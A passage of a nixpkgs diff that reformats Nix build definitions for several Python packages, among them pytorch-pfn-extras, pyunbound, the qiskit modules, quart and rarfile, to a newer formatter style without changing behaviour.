     torchvision
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
-  disabledTests =
-    [
-      # network access
-      "test_tuplestoweights_sampler"
-      "test_metric_loss_only"
-      "test_add_to_indexer"
-      "test_get_nearest_neighbors"
-      "test_list_of_text"
-      "test_untrained_indexer"
-    ]
-    ++ lib.optionals cudaSupport [
-      # crashes with SIGBART
-      "test_accuracy_calculator_and_faiss_with_torch_and_numpy"
-      "test_accuracy_calculator_large_k"
-      "test_custom_knn"
-      "test_global_embedding_space_tester"
-      "test_global_two_stream_embedding_space_tester"
-      "test_index_type"
-      "test_k_warning"
-      "test_many_tied_distances"
-      "test_query_within_reference"
-      "test_tied_distances"
-      "test_with_same_parent_label_tester"
-    ];
+  disabledTests = [
+    # network access
+    "test_tuplestoweights_sampler"
+    "test_metric_loss_only"
+    "test_add_to_indexer"
+    "test_get_nearest_neighbors"
+    "test_list_of_text"
+    "test_untrained_indexer"
+  ]
+  ++ lib.optionals cudaSupport [
+    # crashes with SIGBART
+    "test_accuracy_calculator_and_faiss_with_torch_and_numpy"
+    "test_accuracy_calculator_large_k"
+    "test_custom_knn"
+    "test_global_embedding_space_tester"
+    "test_global_two_stream_embedding_space_tester"
+    "test_index_type"
+    "test_k_warning"
+    "test_many_tied_distances"
+    "test_query_within_reference"
+    "test_tied_distances"
+    "test_with_same_parent_label_tester"
+  ];
 
   meta = {
     description = "Metric learning library for PyTorch";
diff --git a/pkgs/development/python-modules/pytorch-pfn-extras/default.nix b/pkgs/development/python-modules/pytorch-pfn-extras/default.nix
index fab0a1a49e72..4659aca0e468 100644
--- a/pkgs/development/python-modules/pytorch-pfn-extras/default.nix
+++ b/pkgs/development/python-modules/pytorch-pfn-extras/default.nix
@@ -55,60 +55,58 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "pytorch_pfn_extras" ];
 
-  disabledTests =
-    [
-      # AssertionError: assert 4 == 0
-      # where 4 = <MagicMock id='140733587469184'>.call_count
-      "test_lr_scheduler_wait_for_first_optimizer_step"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # RuntimeError: Dynamo is not supported on Python 3.13+
-      "test_register"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # torch.distributed was not available on darwin at one point; revisit
-      "test_create_distributed_evaluator"
-      "test_distributed_evaluation"
-      "test_distributed_evaluator_progress_bar"
-    ];
+  disabledTests = [
+    # AssertionError: assert 4 == 0
+    # where 4 = <MagicMock id='140733587469184'>.call_count
+    "test_lr_scheduler_wait_for_first_optimizer_step"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # RuntimeError: Dynamo is not supported on Python 3.13+
+    "test_register"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # torch.distributed was not available on darwin at one point; revisit
+    "test_create_distributed_evaluator"
+    "test_distributed_evaluation"
+    "test_distributed_evaluator_progress_bar"
+  ];
 
-  disabledTestPaths =
-    [
-      # Requires optuna which is currently (2022-02-16) marked as broken.
-      "tests/pytorch_pfn_extras_tests/test_config_types.py"
+  disabledTestPaths = [
+    # Requires optuna which is currently (2022-02-16) marked as broken.
+    "tests/pytorch_pfn_extras_tests/test_config_types.py"
 
-      # requires onnxruntime which was removed because of poor maintainability
-      # See https://github.com/NixOS/nixpkgs/pull/105951 https://github.com/NixOS/nixpkgs/pull/155058
-      "tests/pytorch_pfn_extras_tests/onnx_tests/test_annotate.py"
-      "tests/pytorch_pfn_extras_tests/onnx_tests/test_as_output.py"
-      "tests/pytorch_pfn_extras_tests/onnx_tests/test_export.py"
-      "tests/pytorch_pfn_extras_tests/onnx_tests/test_export_testcase.py"
-      "tests/pytorch_pfn_extras_tests/onnx_tests/test_lax.py"
-      "tests/pytorch_pfn_extras_tests/onnx_tests/test_load_model.py"
-      "tests/pytorch_pfn_extras_tests/onnx_tests/test_torchvision.py"
-      "tests/pytorch_pfn_extras_tests/onnx_tests/utils.py"
+    # requires onnxruntime which was removed because of poor maintainability
+    # See https://github.com/NixOS/nixpkgs/pull/105951 https://github.com/NixOS/nixpkgs/pull/155058
+    "tests/pytorch_pfn_extras_tests/onnx_tests/test_annotate.py"
+    "tests/pytorch_pfn_extras_tests/onnx_tests/test_as_output.py"
+    "tests/pytorch_pfn_extras_tests/onnx_tests/test_export.py"
+    "tests/pytorch_pfn_extras_tests/onnx_tests/test_export_testcase.py"
+    "tests/pytorch_pfn_extras_tests/onnx_tests/test_lax.py"
+    "tests/pytorch_pfn_extras_tests/onnx_tests/test_load_model.py"
+    "tests/pytorch_pfn_extras_tests/onnx_tests/test_torchvision.py"
+    "tests/pytorch_pfn_extras_tests/onnx_tests/utils.py"
 
-      # RuntimeError: No Op registered for Gradient with domain_version of 9
-      "tests/pytorch_pfn_extras_tests/onnx_tests/test_grad.py"
+    # RuntimeError: No Op registered for Gradient with domain_version of 9
+    "tests/pytorch_pfn_extras_tests/onnx_tests/test_grad.py"
 
-      # torch._dynamo.exc.BackendCompilerFailed: backend='compiler_fn' raised:
-      # AttributeError: module 'torch.fx.experimental.proxy_tensor' has no attribute 'maybe_disable_fake_tensor_mode'
-      "tests/pytorch_pfn_extras_tests/dynamo_tests/test_compile.py"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # torch.distributed was not available on darwin at one point; revisit
-      "tests/pytorch_pfn_extras_tests/distributed_tests/test_distributed_validation_sampler.py"
-      "tests/pytorch_pfn_extras_tests/nn_tests/parallel_tests/test_distributed.py"
-      "tests/pytorch_pfn_extras_tests/profiler_tests/test_record.py"
-      "tests/pytorch_pfn_extras_tests/profiler_tests/test_time_summary.py"
-      "tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_accumulate.py"
-      "tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_sharded_snapshot.py"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # RuntimeError: internal error
-      # convolution (e.g. F.conv3d) causes runtime error
-      "tests/pytorch_pfn_extras_tests/nn_tests/modules_tests/test_lazy_conv.py"
-    ];
+    # torch._dynamo.exc.BackendCompilerFailed: backend='compiler_fn' raised:
+    # AttributeError: module 'torch.fx.experimental.proxy_tensor' has no attribute 'maybe_disable_fake_tensor_mode'
+    "tests/pytorch_pfn_extras_tests/dynamo_tests/test_compile.py"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # torch.distributed was not available on darwin at one point; revisit
+    "tests/pytorch_pfn_extras_tests/distributed_tests/test_distributed_validation_sampler.py"
+    "tests/pytorch_pfn_extras_tests/nn_tests/parallel_tests/test_distributed.py"
+    "tests/pytorch_pfn_extras_tests/profiler_tests/test_record.py"
+    "tests/pytorch_pfn_extras_tests/profiler_tests/test_time_summary.py"
+    "tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_accumulate.py"
+    "tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_sharded_snapshot.py"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # RuntimeError: internal error
+    # convolution (e.g. F.conv3d) causes runtime error
+    "tests/pytorch_pfn_extras_tests/nn_tests/modules_tests/test_lazy_conv.py"
+  ];
 
   meta = {
     description = "Supplementary components to accelerate research and development in PyTorch";
diff --git a/pkgs/development/python-modules/pytorch3d/default.nix b/pkgs/development/python-modules/pytorch3d/default.nix
index 2a92a51ec8bf..c0894da45073 100644
--- a/pkgs/development/python-modules/pytorch3d/default.nix
+++ b/pkgs/development/python-modules/pytorch3d/default.nix
@@ -36,13 +36,12 @@ buildPythonPackage rec {
   ];
   buildInputs = [ (lib.getOutput "cxxdev" torch) ];
 
-  env =
-    {
-      FORCE_CUDA = cudaSupport;
-    }
-    // lib.optionalAttrs cudaSupport {
-      TORCH_CUDA_ARCH_LIST = "${lib.concatStringsSep ";" torch.cudaCapabilities}";
-    };
+  env = {
+    FORCE_CUDA = cudaSupport;
+  }
+  // lib.optionalAttrs cudaSupport {
+    TORCH_CUDA_ARCH_LIST = "${lib.concatStringsSep ";" torch.cudaCapabilities}";
+  };
 
   pythonImportsCheck = [ "pytorch3d" ];
 
diff --git a/pkgs/development/python-modules/pyunbound/default.nix b/pkgs/development/python-modules/pyunbound/default.nix
index 0878c20a2c24..fb1b2cfad75a 100644
--- a/pkgs/development/python-modules/pyunbound/default.nix
+++ b/pkgs/development/python-modules/pyunbound/default.nix
@@ -68,19 +68,18 @@ buildPythonPackage rec {
   ];
 
   # All we want is the Unbound Python module
-  postInstall =
-    ''
-      # Generate the built in root anchor and root key and store these in a logical place
-      # to be used by tools depending only on the Python module
-      $out/bin/unbound-anchor -l | head -1 > $out/etc/${pname}/root.anchor
-      $out/bin/unbound-anchor -l | tail --lines=+2 - > $out/etc/${pname}/root.key
-      # We don't need anything else
-      rm -r $out/bin $out/share $out/include $out/etc/unbound
-    ''
-    # patchelf is only available on Linux and no patching is needed on darwin
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      patchelf --replace-needed libunbound.so.8 $out/${python.sitePackages}/libunbound.so.8 $out/${python.sitePackages}/_unbound.so
-    '';
+  postInstall = ''
+    # Generate the built in root anchor and root key and store these in a logical place
+    # to be used by tools depending only on the Python module
+    $out/bin/unbound-anchor -l | head -1 > $out/etc/${pname}/root.anchor
+    $out/bin/unbound-anchor -l | tail --lines=+2 - > $out/etc/${pname}/root.key
+    # We don't need anything else
+    rm -r $out/bin $out/share $out/include $out/etc/unbound
+  ''
+  # patchelf is only available on Linux and no patching is needed on darwin
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    patchelf --replace-needed libunbound.so.8 $out/${python.sitePackages}/libunbound.so.8 $out/${python.sitePackages}/_unbound.so
+  '';
 
   meta = with lib; {
     description = "Python library for Unbound, the validating, recursive, and caching DNS resolver";
diff --git a/pkgs/development/python-modules/pyutil/default.nix b/pkgs/development/python-modules/pyutil/default.nix
index 6c079b11712f..37d9751db3ce 100644
--- a/pkgs/development/python-modules/pyutil/default.nix
+++ b/pkgs/development/python-modules/pyutil/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     mock
     twisted
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pyutil" ];
 
diff --git a/pkgs/development/python-modules/pywebcopy/default.nix b/pkgs/development/python-modules/pywebcopy/default.nix
index b8065204a811..602659347529 100644
--- a/pkgs/development/python-modules/pywebcopy/default.nix
+++ b/pkgs/development/python-modules/pywebcopy/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     lxml-html-clean
     requests
     six
-  ] ++ lib.optionals (pythonAtLeast "3.13") [ legacy-cgi ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [ legacy-cgi ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/pywebview/default.nix b/pkgs/development/python-modules/pywebview/default.nix
index e6148c3a5b47..ca01c3e7ca9f 100644
--- a/pkgs/development/python-modules/pywebview/default.nix
+++ b/pkgs/development/python-modules/pywebview/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     pyqtwebengine
     proxy-tools
     six
-  ] ++ lib.optionals (pythonOlder "3.7") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.7") [ importlib-resources ];
 
   nativeCheckInputs = [
     pygobject3
diff --git a/pkgs/development/python-modules/pywinrm/default.nix b/pkgs/development/python-modules/pywinrm/default.nix
index 6350402a7739..7dcab533e2be 100644
--- a/pkgs/development/python-modules/pywinrm/default.nix
+++ b/pkgs/development/python-modules/pywinrm/default.nix
@@ -41,7 +41,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "winrm" ];
 
diff --git a/pkgs/development/python-modules/pyzmq/default.nix b/pkgs/development/python-modules/pyzmq/default.nix
index 2be93e0b00a2..b033bc58f790 100644
--- a/pkgs/development/python-modules/pyzmq/default.nix
+++ b/pkgs/development/python-modules/pyzmq/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     packaging
     pathspec
     scikit-build-core
-  ] ++ (if isPyPy then [ cffi ] else [ cython ]);
+  ]
+  ++ (if isPyPy then [ cffi ] else [ cython ]);
 
   dontUseCmakeConfigure = true;
 
diff --git a/pkgs/development/python-modules/qdrant-client/default.nix b/pkgs/development/python-modules/qdrant-client/default.nix
index b8ad36619455..074ffbdff25f 100644
--- a/pkgs/development/python-modules/qdrant-client/default.nix
+++ b/pkgs/development/python-modules/qdrant-client/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
     portalocker
     pydantic
     urllib3
-  ] ++ httpx.optional-dependencies.http2;
+  ]
+  ++ httpx.optional-dependencies.http2;
 
   pythonImportsCheck = [ "qdrant_client" ];
 
diff --git a/pkgs/development/python-modules/qiskit-ibmq-provider/default.nix b/pkgs/development/python-modules/qiskit-ibmq-provider/default.nix
index 833dec1f0d2c..089fdde389ce 100644
--- a/pkgs/development/python-modules/qiskit-ibmq-provider/default.nix
+++ b/pkgs/development/python-modules/qiskit-ibmq-provider/default.nix
@@ -61,7 +61,8 @@ buildPythonPackage rec {
     requests-ntlm
     websocket-client
     websockets
-  ] ++ lib.optionals withVisualization visualizationPackages;
+  ]
+  ++ lib.optionals withVisualization visualizationPackages;
 
   postPatch = ''
     substituteInPlace setup.py --replace "websocket-client>=1.0.1" "websocket-client"
@@ -75,7 +76,8 @@ buildPythonPackage rec {
     pproxy
     qiskit-aer
     vcrpy
-  ] ++ lib.optionals (!withVisualization) visualizationPackages;
+  ]
+  ++ lib.optionals (!withVisualization) visualizationPackages;
 
   pythonImportsCheck = [ "qiskit.providers.ibmq" ];
   disabledTests = [
diff --git a/pkgs/development/python-modules/qiskit-ignis/default.nix b/pkgs/development/python-modules/qiskit-ignis/default.nix
index 940b5bd556f1..d4d34101e7cb 100644
--- a/pkgs/development/python-modules/qiskit-ignis/default.nix
+++ b/pkgs/development/python-modules/qiskit-ignis/default.nix
@@ -37,16 +37,15 @@ buildPythonPackage rec {
     hash = "sha256-WyLNtZhtuGzqCJdOBvtBjZZiGFQihpeSjJQtP7lI248=";
   };
 
-  propagatedBuildInputs =
-    [
-      numpy
-      qiskit-terra
-      scikit-learn
-      scipy
-    ]
-    ++ lib.optionals (withCvx) [ cvxpy ]
-    ++ lib.optionals (withVisualization) [ matplotlib ]
-    ++ lib.optionals (withJit) [ numba ];
+  propagatedBuildInputs = [
+    numpy
+    qiskit-terra
+    scikit-learn
+    scipy
+  ]
+  ++ lib.optionals (withCvx) [ cvxpy ]
+  ++ lib.optionals (withVisualization) [ matplotlib ]
+  ++ lib.optionals (withJit) [ numba ];
 
   # Tests
   pythonImportsCheck = [ "qiskit.ignis" ];
@@ -59,13 +58,12 @@ buildPythonPackage rec {
     pyfakefs
     qiskit-aer
   ];
-  disabledTests =
-    [
-      "test_tensored_meas_cal_on_circuit" # Flaky test, occasionally returns result outside bounds
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      "test_fitters" # Fails check that arrays are close. Might be due to aarch64 math issues.
-    ];
+  disabledTests = [
+    "test_tensored_meas_cal_on_circuit" # Flaky test, occasionally returns result outside bounds
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    "test_fitters" # Fails check that arrays are close. Might be due to aarch64 math issues.
+  ];
 
   meta = with lib; {
     description = "Qiskit tools for quantum hardware verification, noise characterization, and error correction";
diff --git a/pkgs/development/python-modules/qiskit-nature/default.nix b/pkgs/development/python-modules/qiskit-nature/default.nix
index 61710ba4c8e3..192b08360e43 100644
--- a/pkgs/development/python-modules/qiskit-nature/default.nix
+++ b/pkgs/development/python-modules/qiskit-nature/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     rustworkx
     scikit-learn
     scipy
-  ] ++ lib.optional withPyscf pyscf;
+  ]
+  ++ lib.optional withPyscf pyscf;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/qiskit-terra/default.nix b/pkgs/development/python-modules/qiskit-terra/default.nix
index 1ab2a1d1f543..5f3c025ee98c 100644
--- a/pkgs/development/python-modules/qiskit-terra/default.nix
+++ b/pkgs/development/python-modules/qiskit-terra/default.nix
@@ -88,25 +88,24 @@ buildPythonPackage rec {
     hash = "sha256-nTYrNH3h1kAwwPx7OMw6eI61vYy8iFhm4eWDTGhWxt4=";
   };
 
-  propagatedBuildInputs =
-    [
-      dill
-      numpy
-      networkx
-      ply
-      psutil
-      python-constraint
-      python-dateutil
-      rustworkx
-      scipy
-      scikit-quant
-      stevedore
-      symengine
-      sympy
-      tweedledum
-    ]
-    ++ lib.optionals withVisualization visualizationPackages
-    ++ lib.optionals withCrosstalkPass crosstalkPackages;
+  propagatedBuildInputs = [
+    dill
+    numpy
+    networkx
+    ply
+    psutil
+    python-constraint
+    python-dateutil
+    rustworkx
+    scipy
+    scikit-quant
+    stevedore
+    symengine
+    sympy
+    tweedledum
+  ]
+  ++ lib.optionals withVisualization visualizationPackages
+  ++ lib.optionals withCrosstalkPass crosstalkPackages;
 
   # *** Tests ***
   nativeCheckInputs = [
@@ -115,7 +114,8 @@ buildPythonPackage rec {
     hypothesis
     nbformat
     nbconvert
-  ] ++ lib.optionals (!withVisualization) visualizationPackages;
+  ]
+  ++ lib.optionals (!withVisualization) visualizationPackages;
 
   pythonImportsCheck = [
     "qiskit"
@@ -133,68 +133,67 @@ buildPythonPackage rec {
     "test/visual/mpl/circuit/test_circuit_matplotlib_drawer.py"
   ];
   pytestFlagsArray = [ "--durations=10" ];
-  disabledTests =
-    [
-      "TestUnitarySynthesisPlugin" # use unittest mocks for transpiler.run(), seems incompatible somehow w/ pytest infrastructure
-      # matplotlib tests seems to fail non-deterministically
-      "TestMatplotlibDrawer"
-      "TestGraphMatplotlibDrawer"
-      "test_copy" # assertNotIn doesn't seem to work as expected w/ pytest vs unittest
+  disabledTests = [
+    "TestUnitarySynthesisPlugin" # use unittest mocks for transpiler.run(), seems incompatible somehow w/ pytest infrastructure
+    # matplotlib tests seems to fail non-deterministically
+    "TestMatplotlibDrawer"
+    "TestGraphMatplotlibDrawer"
+    "test_copy" # assertNotIn doesn't seem to work as expected w/ pytest vs unittest
 
-      "test_bound_pass_manager" # AssertionError: 0 != 2
-      "test_complex_parameter_bound_to_real" # qiskit.circuit.exceptions.CircuitError: "Invalid param type <class 'complex'> for gate rx."
-      "test_expressions_of_parameter_with_constant" # Floating point arithmetic error
-      "test_handle_measurement" # AssertionError: The two circuits are not equal
+    "test_bound_pass_manager" # AssertionError: 0 != 2
+    "test_complex_parameter_bound_to_real" # qiskit.circuit.exceptions.CircuitError: "Invalid param type <class 'complex'> for gate rx."
+    "test_expressions_of_parameter_with_constant" # Floating point arithmetic error
+    "test_handle_measurement" # AssertionError: The two circuits are not equal
 
-      # Flaky tests
-      "test_pulse_limits" # Fails on GitHub Actions, probably due to minor floating point arithmetic error.
-      "test_cx_equivalence" # Fails due to flaky test
-      "test_two_qubit_synthesis_not_pulse_optimal" # test of random circuit, seems to randomly fail depending on seed
-      "test_qv_natural" # fails due to sign error. Not sure why
-    ]
-    ++ lib.optionals (lib.versionAtLeast matplotlib.version "3.4.0") [ "test_plot_circuit_layout" ]
-    # Disabling slow tests for build constraints
-    ++ [
-      "test_all_examples"
-      "test_controlled_random_unitary"
-      "test_controlled_standard_gates_1"
-      "test_jupyter_jobs_pbars"
-      "test_lookahead_swap_higher_depth_width_is_better"
-      "test_move_measurements"
-      "test_job_monitor"
-      "test_wait_for_final_state"
-      "test_multi_controlled_y_rotation_matrix_basic_mode"
-      "test_two_qubit_weyl_decomposition_abc"
-      "test_isometry"
-      "test_parallel"
-      "test_random_state"
-      "test_random_clifford_valid"
-      "test_to_matrix"
-      "test_block_collection_reduces_1q_gate"
-      "test_multi_controlled_rotation_gate_matrices"
-      "test_block_collection_runs_for_non_cx_bases"
-      "test_with_two_qubit_reduction"
-      "test_basic_aer_qasm"
-      "test_hhl"
-      "test_H2_hamiltonian"
-      "test_max_evals_grouped_2"
-      "test_qaoa_qc_mixer_4"
-      "test_abelian_grouper_random_2"
-      "test_pauli_two_design"
-      "test_shor_factoring"
-      "test_sample_counts_memory_ghz"
-      "test_two_qubit_weyl_decomposition_ab0"
-      "test_sample_counts_memory_superposition"
-      "test_piecewise_polynomial_function"
-      "test_piecewise_chebyshev_mutability"
-      "test_bit_conditional_no_cregbundle"
-      "test_gradient_wrapper2"
-      "test_two_qubit_weyl_decomposition_abmb"
-      "test_two_qubit_weyl_decomposition_abb"
-      "test_vqe_qasm"
-      "test_dag_from_networkx"
-      "test_defaults_to_dict_46"
-    ];
+    # Flaky tests
+    "test_pulse_limits" # Fails on GitHub Actions, probably due to minor floating point arithmetic error.
+    "test_cx_equivalence" # Fails due to flaky test
+    "test_two_qubit_synthesis_not_pulse_optimal" # test of random circuit, seems to randomly fail depending on seed
+    "test_qv_natural" # fails due to sign error. Not sure why
+  ]
+  ++ lib.optionals (lib.versionAtLeast matplotlib.version "3.4.0") [ "test_plot_circuit_layout" ]
+  # Disabling slow tests for build constraints
+  ++ [
+    "test_all_examples"
+    "test_controlled_random_unitary"
+    "test_controlled_standard_gates_1"
+    "test_jupyter_jobs_pbars"
+    "test_lookahead_swap_higher_depth_width_is_better"
+    "test_move_measurements"
+    "test_job_monitor"
+    "test_wait_for_final_state"
+    "test_multi_controlled_y_rotation_matrix_basic_mode"
+    "test_two_qubit_weyl_decomposition_abc"
+    "test_isometry"
+    "test_parallel"
+    "test_random_state"
+    "test_random_clifford_valid"
+    "test_to_matrix"
+    "test_block_collection_reduces_1q_gate"
+    "test_multi_controlled_rotation_gate_matrices"
+    "test_block_collection_runs_for_non_cx_bases"
+    "test_with_two_qubit_reduction"
+    "test_basic_aer_qasm"
+    "test_hhl"
+    "test_H2_hamiltonian"
+    "test_max_evals_grouped_2"
+    "test_qaoa_qc_mixer_4"
+    "test_abelian_grouper_random_2"
+    "test_pauli_two_design"
+    "test_shor_factoring"
+    "test_sample_counts_memory_ghz"
+    "test_two_qubit_weyl_decomposition_ab0"
+    "test_sample_counts_memory_superposition"
+    "test_piecewise_polynomial_function"
+    "test_piecewise_chebyshev_mutability"
+    "test_bit_conditional_no_cregbundle"
+    "test_gradient_wrapper2"
+    "test_two_qubit_weyl_decomposition_abmb"
+    "test_two_qubit_weyl_decomposition_abb"
+    "test_vqe_qasm"
+    "test_dag_from_networkx"
+    "test_defaults_to_dict_46"
+  ];
 
   # Moves tests to $PACKAGEDIR/test. They can't be run from /build because of finding
   # cythonized modules and expecting to find some resource files in the test directory.
diff --git a/pkgs/development/python-modules/qiskit/default.nix b/pkgs/development/python-modules/qiskit/default.nix
index e120256b0e2d..ac39260c0df0 100644
--- a/pkgs/development/python-modules/qiskit/default.nix
+++ b/pkgs/development/python-modules/qiskit/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     qiskit-ibmq-provider
     qiskit-ignis
     qiskit-terra
-  ] ++ lib.optionals withOptionalPackages optionalQiskitPackages;
+  ]
+  ++ lib.optionals withOptionalPackages optionalQiskitPackages;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/qrcode/default.nix b/pkgs/development/python-modules/qrcode/default.nix
index d105122763cf..4aeda018a902 100644
--- a/pkgs/development/python-modules/qrcode/default.nix
+++ b/pkgs/development/python-modules/qrcode/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   passthru.tests = {
     version = testers.testVersion {
diff --git a/pkgs/development/python-modules/qscintilla-qt5/default.nix b/pkgs/development/python-modules/qscintilla-qt5/default.nix
index 3ba31569f4c3..a044bec7b7b9 100644
--- a/pkgs/development/python-modules/qscintilla-qt5/default.nix
+++ b/pkgs/development/python-modules/qscintilla-qt5/default.nix
@@ -39,26 +39,25 @@ buildPythonPackage {
 
   dontWrapQtApps = true;
 
-  postPatch =
-    ''
-      cd Python
-      cp pyproject-qt5.toml pyproject.toml
-      echo '[tool.sip.project]' >> pyproject.toml
-      echo 'sip-include-dirs = [ "${pyqt5}/${python.sitePackages}/PyQt5/bindings"]' \
-         >> pyproject.toml
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace project.py \
-        --replace \
-        "if self.project.qsci_external_lib:
-                  if self.qsci_features_dir is not None:" \
-        "if self.project.qsci_external_lib:
-                  self.builder_settings.append('QT += widgets')
+  postPatch = ''
+    cd Python
+    cp pyproject-qt5.toml pyproject.toml
+    echo '[tool.sip.project]' >> pyproject.toml
+    echo 'sip-include-dirs = [ "${pyqt5}/${python.sitePackages}/PyQt5/bindings"]' \
+       >> pyproject.toml
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace project.py \
+      --replace \
+      "if self.project.qsci_external_lib:
+                if self.qsci_features_dir is not None:" \
+      "if self.project.qsci_external_lib:
+                self.builder_settings.append('QT += widgets')
 
-                  self.builder_settings.append('QT += printsupport')
+                self.builder_settings.append('QT += printsupport')
 
-                  if self.qsci_features_dir is not None:"
-    '';
+                if self.qsci_features_dir is not None:"
+  '';
 
   dontConfigure = true;
 
diff --git a/pkgs/development/python-modules/quandl/default.nix b/pkgs/development/python-modules/quandl/default.nix
index ea7a305eb377..18ef2dca507b 100644
--- a/pkgs/development/python-modules/quandl/default.nix
+++ b/pkgs/development/python-modules/quandl/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     python-dateutil
     six
     more-itertools
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   nativeCheckInputs = [
     factory-boy
diff --git a/pkgs/development/python-modules/quart/default.nix b/pkgs/development/python-modules/quart/default.nix
index 129c8f7fff0b..ae415d9e5fce 100644
--- a/pkgs/development/python-modules/quart/default.nix
+++ b/pkgs/development/python-modules/quart/default.nix
@@ -45,24 +45,23 @@ buildPythonPackage rec {
 
   build-system = [ flit-core ];
 
-  dependencies =
-    [
-      aiofiles
-      blinker
-      click
-      flask
-      hypercorn
-      itsdangerous
-      jinja2
-      markupsafe
-      pydata-sphinx-theme
-      python-dotenv
-      werkzeug
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      importlib-metadata
-      typing-extensions
-    ];
+  dependencies = [
+    aiofiles
+    blinker
+    click
+    flask
+    hypercorn
+    itsdangerous
+    jinja2
+    markupsafe
+    pydata-sphinx-theme
+    python-dotenv
+    werkzeug
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    importlib-metadata
+    typing-extensions
+  ];
 
   pythonImportsCheck = [ "quart" ];
 
diff --git a/pkgs/development/python-modules/qutip/default.nix b/pkgs/development/python-modules/qutip/default.nix
index dfed5e2a7ff8..baecf5135370 100644
--- a/pkgs/development/python-modules/qutip/default.nix
+++ b/pkgs/development/python-modules/qutip/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pytest-rerunfailures
     writableTmpDirAsHomeHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   # QuTiP tries to access the home directory to create an rc file for us.
   # We need to go to another directory to run the tests from there.
diff --git a/pkgs/development/python-modules/radian/default.nix b/pkgs/development/python-modules/radian/default.nix
index e47fd1f14b35..9c3fdb6b52a0 100644
--- a/pkgs/development/python-modules/radian/default.nix
+++ b/pkgs/development/python-modules/radian/default.nix
@@ -47,17 +47,16 @@ buildPythonPackage rec {
     R # needed at setup time to detect R_HOME
   ];
 
-  propagatedBuildInputs =
-    [
-      lineedit
-      prompt-toolkit
-      pygments
-      rchitect
-    ]
-    ++ (with rPackages; [
-      reticulate
-      askpass
-    ]);
+  propagatedBuildInputs = [
+    lineedit
+    prompt-toolkit
+    pygments
+    rchitect
+  ]
+  ++ (with rPackages; [
+    reticulate
+    askpass
+  ]);
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/rarfile/default.nix b/pkgs/development/python-modules/rarfile/default.nix
index 1795311b9fbc..0c6cf5586eb6 100644
--- a/pkgs/development/python-modules/rarfile/default.nix
+++ b/pkgs/development/python-modules/rarfile/default.nix
@@ -28,21 +28,20 @@ buildPythonPackage rec {
     hash = "sha256-ZiwD2LG25fMd4Z+QWsh/x3ceG5QRBH4s/TZDwMnfpNI=";
   };
 
-  prePatch =
-    ''
-      substituteInPlace rarfile.py \
-    ''
-    + (
-      if useUnrar then
-        ''
-          --replace 'UNRAR_TOOL = "unrar"' "UNRAR_TOOL = \"${unrar}/bin/unrar\""
-        ''
-      else
-        ''
-          --replace 'ALT_TOOL = "bsdtar"' "ALT_TOOL = \"${libarchive}/bin/bsdtar\""
-        ''
-    )
-    + "";
+  prePatch = ''
+    substituteInPlace rarfile.py \
+  ''
+  + (
+    if useUnrar then
+      ''
+        --replace 'UNRAR_TOOL = "unrar"' "UNRAR_TOOL = \"${unrar}/bin/unrar\""
+      ''
+    else
+      ''
+        --replace 'ALT_TOOL = "bsdtar"' "ALT_TOOL = \"${libarchive}/bin/bsdtar\""
+      ''
+  )
+  + "";
 
